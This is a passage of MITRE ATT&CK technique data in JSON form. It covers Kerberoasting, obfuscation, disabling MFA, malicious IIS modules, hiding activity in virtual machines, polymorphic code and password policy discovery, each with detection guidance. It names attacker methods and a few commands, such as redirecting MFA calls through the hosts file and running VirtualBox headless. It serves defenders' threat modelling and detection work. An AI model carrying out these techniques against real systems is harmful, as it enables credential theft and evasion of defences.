possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC). (Citation: Empire InvokeKerberoast Oct 2016) (Citation: AdSecurity Cracking Kerberos Dec 2015) Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline [Brute Force](https://attack.mitre.org/techniques/T1110) attacks that may expose plaintext credentials. (Citation: AdSecurity Cracking Kerberos Dec 2015) (Citation: Empire InvokeKerberoast Oct 2016) (Citation: Harmj0y Kerberoast Nov 2016)\n\nThis same attack could be executed using service tickets captured from network traffic. (Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nCracked hashes may enable Persistence, Privilege Escalation, and Lateral Movement via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078). (Citation: SANS Attacking Kerberos Nov 2014)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_detection":"Enable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17]). (Citation: Microsoft Detecting Kerberoasting Feb 2018) (Citation: AdSecurity Cracking Kerberos Dec 2015)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_permissions_required":["User"],"x_mitre_system_requirements":["Valid domain account or the ability to sniff traffic within a domain."],"x_mitre_is_subtechnique":false},{"modified":"2024-04-16T12:27:18.945Z","name":"Obfuscated Files or Information","description":"Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses. \n\nPayloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open and [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) for [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also use compressed or archived scripts, such as JavaScript. \n\nPortions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. (Citation: Linux/Cdorked.A We Live Security Analysis) Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled. (Citation: Carbon Black Obfuscation Sept 2016)\n\nAdversaries may also abuse [Command Obfuscation](https://attack.mitre.org/techniques/T1027/010) to obscure commands executed from payloads or directly via [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and application control mechanisms. (Citation: FireEye Obfuscation June 2017) (Citation: FireEye Revoke-Obfuscation July 2017)(Citation: PaloAlto EncodedCommand March 2017) ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_contributors":["Red Canary","Christiaan Beek, @ChristiaanBeek"],"x_mitre_deprecated":false,"x_mitre_detection":"Detection of file obfuscation is difficult unless artifacts are left behind by the obfuscation process that are uniquely detectable with a signature. If detection of the obfuscation itself is not possible, it may be possible to detect the malicious activity that caused the obfuscated file (for example, the method that was used to write, read, or modify the file on the file system). \n\nFlag and analyze commands containing indicators of obfuscation and known suspicious syntax such as uninterpreted escape characters like '''^''' and '''\"'''. Windows' Sysmon and Event ID 4688 displays command-line arguments for processes. Deobfuscation tools can be used to detect these indicators in files/payloads. (Citation: GitHub Revoke-Obfuscation) (Citation: FireEye Revoke-Obfuscation July 2017) (Citation: GitHub Office-Crackros Aug 2016) \n\nObfuscation used in payloads for Initial Access can be detected at the network. Use network intrusion detection systems and email gateway filtering to identify compressed and encrypted attachments and scripts. Some email attachment detonation systems can open compressed and encrypted attachments. Payloads delivered over an encrypted connection from a website require encrypted network traffic inspection. \n\nThe first detection of a malicious tool may trigger an anti-virus or other security tool alert. Similar events may also occur at the boundary through network IDS, email scanning appliance, etc. The initial detection should be treated as an indication of a potentially more invasive intrusion. The alerting system should be thoroughly investigated beyond that initial alert for activity that was not detected. Adversaries may continue with an operation, assuming that individual events like an anti-virus detect will not be investigated or that an analyst will not be able to conclusively link that event to other activity occurring on the network. ","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Linux","macOS","Windows","Network"],"x_mitre_version":"1.6","x_mitre_data_sources":["WMI: WMI Creation","Script: Script Execution","File: File Creation","Module: Module Load","Application Log: Application Log Content","Command: Command Execution","File: File Metadata","Process: OS API Execution","Windows Registry: Windows Registry Key Creation","Process: Process Creation"],"x_mitre_defense_bypassed":["Host Forensic Analysis","Signature-based Detection","Host Intrusion Prevention Systems","Application Control","Log Analysis"],"type":"attack-pattern","id":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","created":"2017-05-31T21:30:32.662Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1027","external_id":"T1027"},{"source_name":"Volexity PowerDuke November 2016","description":"Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.","url":"https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/"},{"source_name":"GitHub Revoke-Obfuscation","description":"Bohannon, D. (2017, July 27). Revoke-Obfuscation. Retrieved February 12, 2018.","url":"https://github.com/danielbohannon/Revoke-Obfuscation"},{"source_name":"FireEye Obfuscation June 2017","description":"Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February 12, 2018.","url":"https://web.archive.org/web/20170923102302/https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html"},{"source_name":"FireEye Revoke-Obfuscation July 2017","description":"Bohannon, D. & Holmes, L. (2017, July 27). Revoke-Obfuscation: PowerShell Obfuscation Detection Using Science. Retrieved February 12, 2018.","url":"https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/revoke-obfuscation-report.pdf"},{"source_name":"GitHub Office-Crackros Aug 2016","description":"Carr, N. (2016, August 14). OfficeCrackros. Retrieved February 12, 2018.","url":"https://github.com/itsreallynick/office-crackros"},{"source_name":"Linux/Cdorked.A We Live Security Analysis","description":"Pierre-Marc Bureau. (2013, April 26). Linux/Cdorked.A: New Apache backdoor being used in the wild to serve Blackhole. Retrieved September 10, 2017.","url":"https://www.welivesecurity.com/2013/04/26/linuxcdorked-new-apache-backdoor-in-the-wild-serves-blackhole/"},{"source_name":"Carbon Black Obfuscation Sept 2016","description":"Tedesco, B. (2016, September 23). Security Alert Summary. Retrieved February 12, 2018.","url":"https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/"},{"source_name":"PaloAlto EncodedCommand March 2017","description":"White, J. (2017, March 10). Pulling Back the Curtains on EncodedCommand PowerShell Attacks. Retrieved February 12, 2018.","url":"https://researchcenter.paloaltonetworks.com/2017/03/unit42-pulling-back-the-curtains-on-encodedcommand-powershell-attacks/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-14T22:11:30.271Z","name":"Multi-Factor Authentication","description":"Adversaries may disable or modify multi-factor authentication (MFA) mechanisms to enable persistent access to compromised accounts.\n\nOnce adversaries have gained access to a network by either compromising an account lacking MFA or by employing an MFA bypass method such as [Multi-Factor Authentication Request Generation](https://attack.mitre.org/techniques/T1621), adversaries may leverage their access to modify or completely disable MFA defenses. This can be accomplished by abusing legitimate features, such as excluding users from Azure AD Conditional Access Policies, registering a new yet vulnerable/adversary-controlled MFA method, or by manually patching MFA programs and configuration files to bypass expected functionality.(Citation: Mandiant APT42)(Citation: Azure AD Conditional Access Exclusions)\n\nFor example, modifying the Windows hosts file (`C:\\windows\\system32\\drivers\\etc\\hosts`) to redirect MFA calls to localhost instead of an MFA server may cause the MFA process to fail. If a \"fail open\" policy is in place, any otherwise successful authentication attempt may be granted access without enforcing MFA. (Citation: Russians Exploit Default MFA Protocol - CISA March 2022) \n\nDepending on the scope, goals, and privileges of the adversary, MFA defenses may be disabled for individual accounts or for all accounts tied to a larger group, such as all domain accounts in a victim's network environment.(Citation: Russians Exploit Default MFA Protocol - CISA March 2022) ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"},{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_attack_spec_version":"3.2.0","x_mitre_contributors":["Liran Ravich, CardinalOps","Muhammad Moiz Arshad, @5T34L7H","Arun Seelagan, CISA"],"x_mitre_deprecated":false,"x_mitre_detection":"","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_platforms":["Windows","SaaS","IaaS","Linux","macOS","Office Suite","Identity Provider"],"x_mitre_version":"1.3","x_mitre_data_sources":["Logon Session: Logon Session Creation","Application Log: Application Log Content","Active Directory: Active Directory Object Modification","User Account: User Account Authentication","User Account: User Account Modification"],"x_mitre_defense_bypassed":["Multi-Factor Authentication"],"type":"attack-pattern","id":"attack-pattern--b4409cd8-0da9-46e1-a401-a241afd4d1cc","created":"2022-05-31T19:31:38.431Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1556/006","external_id":"T1556.006"},{"source_name":"Russians Exploit Default MFA Protocol - CISA March 2022","description":"Cyber Security Infrastructure Agency. (2022, March 15). Russian State-Sponsored Cyber Actors Gain Network Access by Exploiting Default Multifactor Authentication Protocols and “PrintNightmare” Vulnerability. Retrieved May 31, 2022.","url":"https://www.cisa.gov/uscert/ncas/alerts/aa22-074a"},{"source_name":"Mandiant APT42","description":"Mandiant. (n.d.). APT42: Crooked Charms, Cons and Compromise. Retrieved September 16, 2022.","url":"https://www.mandiant.com/media/17826"},{"source_name":"Azure AD Conditional Access Exclusions","description":"Microsoft. (2022, August 26). Use Azure AD access reviews to manage users excluded from Conditional Access policies. Retrieved August 30, 2022.","url":"https://docs.microsoft.com/en-us/azure/active-directory/governance/conditional-access-exclusion"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"]},{"modified":"2024-10-14T22:11:30.271Z","name":"Remote Email Collection","description":"Adversaries may target an Exchange server, Office 365, or Google Workspace to collect sensitive information. Adversaries may leverage a user's credentials and interact directly with the Exchange server to acquire information from within a network. Adversaries may also access externally facing Exchange services, Office 365, or Google Workspace to access email using credentials or access tokens. Tools such as [MailSniper](https://attack.mitre.org/software/S0413) can be used to automate searches for specific keywords.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"collection"}],"x_mitre_attack_spec_version":"3.2.0","x_mitre_contributors":["Arun Seelagan, CISA"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor for unusual login activity from unknown or abnormal locations, especially for privileged accounts (ex: Exchange administrator account).","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_platforms":["Windows","Office Suite"],"x_mitre_version":"1.3","x_mitre_data_sources":["Application Log: Application Log Content","Logon Session: Logon Session Creation","Command: Command Execution","Network Traffic: Network Connection Creation"],"type":"attack-pattern","id":"attack-pattern--b4694861-542c-48ea-9eb1-10d356e7140a","created":"2020-02-19T18:52:24.547Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1114/002","external_id":"T1114.002"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Wes Hurd"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--b46a801b-fd98-491c-a25a-bca25d6e3001","type":"attack-pattern","created":"2021-06-03T18:44:29.770Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1505.004","url":"https://attack.mitre.org/techniques/T1505/004"},{"source_name":"Microsoft ISAPI Extension Overview 2017","url":"https://docs.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms525172(v=vs.90)","description":"Microsoft. (2017, June 16). ISAPI Extension Overview. Retrieved June 3, 2021."},{"source_name":"Microsoft ISAPI Filter Overview 2017","url":"https://docs.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms524610(v=vs.90)","description":"Microsoft. (2017, June 16). ISAPI Filter Overview. Retrieved June 3, 2021."},{"source_name":"IIS Backdoor 2011","url":"https://web.archive.org/web/20170106175935/http:/esec-lab.sogeti.com/posts/2011/02/02/iis-backdoor.html","description":"Julien. (2011, February 2). IIS Backdoor. Retrieved June 3, 2021."},{"source_name":"Trustwave IIS Module 2013","url":"https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/the-curious-case-of-the-malicious-iis-module/","description":"Grunzweig, J. (2013, December 9). The Curious Case of the Malicious IIS Module. Retrieved June 3, 2021."},{"source_name":"Microsoft ISAPI Extension All Incoming 2017","url":"https://docs.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms525696(v=vs.90)","description":"Microsoft. (2017, June 16). Intercepting All Incoming IIS Requests. Retrieved June 3, 2021."},{"source_name":"Dell TG-3390","description":"Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.","url":"https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"},{"source_name":"MMPC ISAPI Filter 2012","url":"https://web.archive.org/web/20140804175025/http:/blogs.technet.com/b/mmpc/archive/2012/10/03/malware-signed-with-the-adobe-code-signing-certificate.aspx","description":"MMPC. (2012, October 3). Malware signed with the Adobe code signing certificate. Retrieved June 3, 2021."},{"source_name":"Microsoft IIS Modules Overview 2007","url":"https://docs.microsoft.com/en-us/iis/get-started/introduction-to-iis/iis-modules-overview","description":"Microsoft. (2007, November 24). IIS Modules Overview. Retrieved June 17, 2021."},{"source_name":"ESET IIS Malware 2021","url":"https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Anatomy-Of-Native-Iis-Malware-wp.pdf","description":"Hromcová, Z., Cherepanov, A. (2021). Anatomy of Native IIS Malware. Retrieved September 9, 2021."},{"url":"https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/","description":"Falcone, R. (2018, January 25). OilRig uses RGDoor IIS Backdoor on Targets in the Middle East. Retrieved July 6, 2018.","source_name":"Unit 42 RGDoor Jan 2018"}],"modified":"2021-10-17T15:06:24.161Z","name":"IIS Components","description":"Adversaries may install malicious components that run on Internet Information Services (IIS) web servers to establish persistence. IIS provides several mechanisms to extend the functionality of the web servers. For example, Internet Server Application Programming Interface (ISAPI) extensions and filters can be installed to examine and/or modify incoming and outgoing IIS web requests. Extensions and filters are deployed as DLL files that export three functions: Get{Extension/Filter}Version, Http{Extension/Filter}Proc, and (optionally) Terminate{Extension/Filter}. IIS modules may also be installed to extend IIS web servers.(Citation: Microsoft ISAPI Extension Overview 2017)(Citation: Microsoft ISAPI Filter Overview 2017)(Citation: IIS Backdoor 2011)(Citation: Trustwave IIS Module 2013)\n\nAdversaries may install malicious ISAPI extensions and filters to observe and/or modify traffic, execute commands on compromised machines, or proxy command and control traffic. ISAPI extensions and filters may have access to all IIS web requests and responses. For example, an adversary may abuse these mechanisms to modify HTTP responses in order to distribute malicious commands/content to previously comprised hosts.(Citation: Microsoft ISAPI Filter Overview 2017)(Citation: Microsoft ISAPI Extension Overview 2017)(Citation: Microsoft ISAPI Extension All Incoming 2017)(Citation: Dell TG-3390)(Citation: Trustwave IIS Module 2013)(Citation: MMPC ISAPI Filter 2012)\n\nAdversaries may also install malicious IIS modules to observe and/or modify traffic. IIS 7.0 introduced modules that provide the same unrestricted access to HTTP requests and responses as ISAPI extensions and filters. IIS modules can be written as a DLL that exports RegisterModule, or as a .NET application that interfaces with ASP.NET APIs to access IIS HTTP requests.(Citation: Microsoft IIS Modules Overview 2007)(Citation: Trustwave IIS Module 2013)(Citation: ESET IIS Malware 2021)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"Monitor for creation and/or modification of files (especially DLLs on webservers) that could be abused as malicious ISAPI extensions/filters or IIS modules. Changes to %windir%\\system32\\inetsrv\\config\\applicationhost.config could indicate an IIS module installation.(Citation: Microsoft IIS Modules Overview 2007)(Citation: ESET IIS Malware 2021)\n\nMonitor execution and command-line arguments of AppCmd.exe, which may be abused to install malicious IIS modules.(Citation: Microsoft IIS Modules Overview 2007)(Citation: Unit 42 RGDoor Jan 2018)(Citation: ESET IIS Malware 2021)","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Creation","Command: Command Execution","File: File Modification"],"x_mitre_permissions_required":["Administrator","SYSTEM"]},{"x_mitre_platforms":["macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--b4b7458f-81f2-4d38-84be-1c5ba0167a52","type":"attack-pattern","created":"2020-02-10T19:49:46.752Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1036.001","url":"https://attack.mitre.org/techniques/T1036/001"},{"source_name":"Threatexpress MetaTwin 2017","url":"https://threatexpress.com/blogs/2017/metatwin-borrowing-microsoft-metadata-and-digital-signatures-to-hide-binaries/","description":"Vest, J. (2017, October 9). Borrowing Microsoft MetaData and Signatures to Hide Binary Payloads. Retrieved September 10, 2019."}],"modified":"2020-02-10T19:52:47.724Z","name":"Invalid Code Signature","description":"Adversaries may attempt to mimic features of valid code signatures to increase the chance of deceiving a user, analyst, or tool. Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. Adversaries can copy the metadata and signature information from a signed program, then use it as a template for an unsigned program. Files with invalid code signatures will fail digital signature validation checks, but they may appear more legitimate to users and security tools may improperly handle these files.(Citation: Threatexpress MetaTwin 2017)\n\nUnlike [Code Signing](https://attack.mitre.org/techniques/T1553/002), this activity will not result in a valid signature.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Collect and analyze signing certificate metadata and check signature validity on software that executes within the environment, look for invalid signatures as well as unusual certificate characteristics and outliers.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Metadata"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Johann Rehberger","Janantha Marasinghe","Menachem Shafran, XM Cyber"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--b5327dd1-6bf9-4785-a199-25bcbd1f4a9d","type":"attack-pattern","created":"2020-06-29T15:36:41.535Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1564.006","url":"https://attack.mitre.org/techniques/T1564/006"},{"source_name":"SingHealth Breach Jan 2019","url":"https://www.mci.gov.sg/-/media/mcicorp/doc/report-of-the-coi-into-the-cyber-attack-on-singhealth-10-jan-2019.ashx","description":"Committee of Inquiry into the Cyber Attack on SingHealth. (2019, January 10). Public Report of the Committee of Inquiry into the Cyber Attack on Singapore Health Services Private Limited's Patient Database. Retrieved June 29, 2020."},{"source_name":"Sophos Ragnar May 2020","url":"https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/","description":"SophosLabs. (2020, May 21). Ragnar Locker ransomware deploys virtual machine to dodge security. Retrieved June 29, 2020."},{"source_name":"Shadowbunny VM Defense Evasion","url":"https://embracethered.com/blog/posts/2020/shadowbunny-virtual-machine-red-teaming-technique/","description":"Johann Rehberger. (2020, September 23). Beware of the Shadowbunny - Using virtual machines to persist and evade detections. Retrieved September 22, 2021."}],"modified":"2021-10-14T22:21:59.708Z","name":"Run Virtual Instance","description":"Adversaries may carry out malicious operations using a virtual instance to avoid detection. A wide variety of virtualization technologies exist that allow for the emulation of a computer or computing environment. By running malicious code inside of a virtual instance, adversaries can hide artifacts associated with their behavior from security tools that are unable to monitor activity inside the virtual instance. Additionally, depending on the virtual networking implementation (ex: bridged adapter), network traffic generated by the virtual instance can be difficult to trace back to the compromised host as the IP address and hostname might not match known values.(Citation: SingHealth Breach Jan 2019)\n\nAdversaries may utilize native support for virtualization (ex: Hyper-V) or drop the necessary files to run a virtual instance (ex: VirtualBox binaries). After running a virtual instance, adversaries may create a shared folder between the guest and host with permissions that enable the virtual instance to interact with the host file system.(Citation: Sophos Ragnar May 2020)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Consider monitoring for files and processes associated with running a virtual instance, such as binary files associated with common virtualization technologies (ex: VirtualBox, VMware, QEMU, Hyper-V). Consider monitoring the size of virtual machines running on the system. Adversaries may create virtual images which are smaller than those of typical virtual machines.(Citation: Shadowbunny VM Defense Evasion) Network adapter information may also be helpful in detecting the use of virtual instances.\n\nConsider monitoring for process command-line arguments that may be atypical for benign use of virtualization software. Usage of virtualization binaries or command-line arguments associated with running a silent installation may be especially suspect (ex. -silent, -ignore-reboot), as well as those associated with running a headless (in the background with no UI) virtual instance (ex. VBoxManage startvm $VM --type headless).(Citation: Shadowbunny VM Defense Evasion) Similarly, monitoring command line arguments which suppress notifications may highlight potentially malicious activity (ex. VBoxManage.exe setextradata global GUI/SuppressMessages \"all\").\n\nMonitor for commands which enable hypervisors such as Hyper-V. If virtualization software is installed by the adversary, the Registry may provide detection opportunities. Consider monitoring for [Windows Service](https://attack.mitre.org/techniques/T1543/003), with respect to virtualization software. \n\nBenign usage of virtualization technology is common in enterprise environments, data and events should not be viewed in isolation, but as part of a chain of behavior.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Windows Registry: Windows Registry Key Modification","Image: Image Metadata","Service: Service Creation","Process: Process Creation","File: File Creation","Command: Command Execution"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Linux","macOS"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--b53dbcc6-147d-48bb-9df4-bcb8bb808ff6","type":"attack-pattern","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1154","url":"https://attack.mitre.org/techniques/T1154"},{"source_name":"Trap Manual","url":"https://ss64.com/bash/trap.html","description":"ss64. (n.d.). trap. Retrieved May 21, 2019."},{"source_name":"Cyberciti Trap Statements","url":"https://bash.cyberciti.biz/guide/Trap_statement","description":"Cyberciti. (2016, March 29). Trap statement. Retrieved May 21, 2019."}],"modified":"2020-01-24T14:18:13.478Z","name":"Trap","description":"The trap command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like ctrl+c and ctrl+d. Adversaries can use this to register code to be executed when the shell encounters specific interrupts either to gain execution or as a persistence mechanism. Trap commands are of the following format trap 'command list' signals where \"command list\" will be executed when \"signals\" are received.(Citation: Trap Manual)(Citation: Cyberciti Trap Statements)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"Trap commands must be registered for the shell or programs, so they appear in files. Monitoring files for suspicious or overly broad trap commands can narrow down suspicious behavior during an investigation. Monitor for suspicious processes executed through trap interrupts.","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_permissions_required":["User","Administrator"],"x_mitre_is_subtechnique":false},{"modified":"2024-10-09T18:56:28.092Z","name":"Polymorphic Code","description":"Adversaries may utilize polymorphic code (also known as metamorphic or mutating code) to evade detection. Polymorphic code is a type of software capable of changing its runtime footprint during code execution.(Citation: polymorphic-blackberry) With each execution of the software, the code is mutated into a different version of itself that achieves the same purpose or objective as the original. This functionality enables the malware to evade traditional signature-based defenses, such as antivirus and antimalware tools.(Citation: polymorphic-sentinelone) \nOther obfuscation techniques can be used in conjunction with polymorphic code to accomplish the intended effects, including using mutation engines to conduct actions such as [Software Packing](https://attack.mitre.org/techniques/T1027/002), [Command Obfuscation](https://attack.mitre.org/techniques/T1027/010), or [Encrypted/Encoded File](https://attack.mitre.org/techniques/T1027/013).(Citation: polymorphic-linkedin)(Citation: polymorphic-medium)\n","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_contributors":["Ye Yint Min Thu Htut, Active Defense Team, DBS Bank","TruKno"],"x_mitre_deprecated":false,"x_mitre_detection":"","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows","macOS","Linux"],"x_mitre_version":"1.0","x_mitre_data_sources":["Application Log: Application Log Content","File: File Creation","File: File Metadata"],"x_mitre_defense_bypassed":["Signature-based Detection"],"type":"attack-pattern","id":"attack-pattern--b577dfc1-0177-4522-8d5a-782127c8592b","created":"2024-09-27T12:28:03.938Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1027/014","external_id":"T1027.014"},{"source_name":"polymorphic-blackberry","description":"Blackberry. (n.d.). What is Polymorphic Malware?. Retrieved September 27, 2024.","url":"https://www.blackberry.com/us/en/solutions/endpoint-security/ransomware-protection/polymorphic-malware"},{"source_name":"polymorphic-sentinelone","description":"SentinelOne. (2023, March 18). What is Polymorphic Malware? Examples and Challenges. Retrieved September 27, 2024.","url":"https://www.sentinelone.com/cybersecurity-101/threat-intelligence/what-is-polymorphic-malware"},{"source_name":"polymorphic-medium","description":"Shellseekercyber. (2024, January 7). Explainer: Packed Malware. Retrieved September 27, 2024.","url":"https://medium.com/@shellseekerscyber/explainer-packed-malware-16f09cc75035"},{"source_name":"polymorphic-linkedin","description":"Sherwin Akshay. (2024, May 28). Techniques for concealing malware and hindering analysis: Packing up and unpacking stuff. Retrieved September 27, 2024.","url":"https://www.linkedin.com/pulse/techniques-concealing-malware-hindering-analysis-packing-akshay-unijc"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-15T16:02:44.477Z","name":"Password Policy Discovery","description":"Adversaries may attempt to access detailed information about the password policy used within an enterprise network or cloud environment. Password policies are a way to enforce complex passwords that are difficult to guess or crack through [Brute Force](https://attack.mitre.org/techniques/T1110). This information may help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).\n\nPassword policies can be set and discovered on Windows, Linux, and macOS systems via various command shell utilities such as net accounts (/domain), Get-ADDefaultDomainPasswordPolicy, chage -l , cat /etc/pam.d/common-password, and pwpolicy getaccountpolicies (Citation: Superuser Linux Password Policies) (Citation: Jamf User Password Policies). Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to discover password policy information (e.g. show aaa, show aaa common-criteria policy all).(Citation: US-CERT-TA18-106A)\n\nPassword policies can be discovered in cloud environments using available APIs such as GetAccountPasswordPolicy in AWS (Citation: AWS GetPasswordPolicy).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_contributors":["Regina Elwell","Sudhanshu Chauhan, @Sudhanshu_C","Isif Ibrahima, Mandiant","Austin Clark, @c2defense"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor logs and processes for tools and command line arguments that may indicate they're being used for password policy discovery. Correlate that activity with other suspicious activity from the originating system to reduce potential false positives from valid user or administrator activity. Adversaries will likely attempt to find the password policy early in an operation and the activity is likely to happen with other Discovery activity.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Windows","Linux","macOS","IaaS","Network","Identity Provider","SaaS","Office Suite"],"x_mitre_version":"1.6","x_mitre_data_sources":["User Account: User Account Metadata","Command: Command Execution","Process: Process 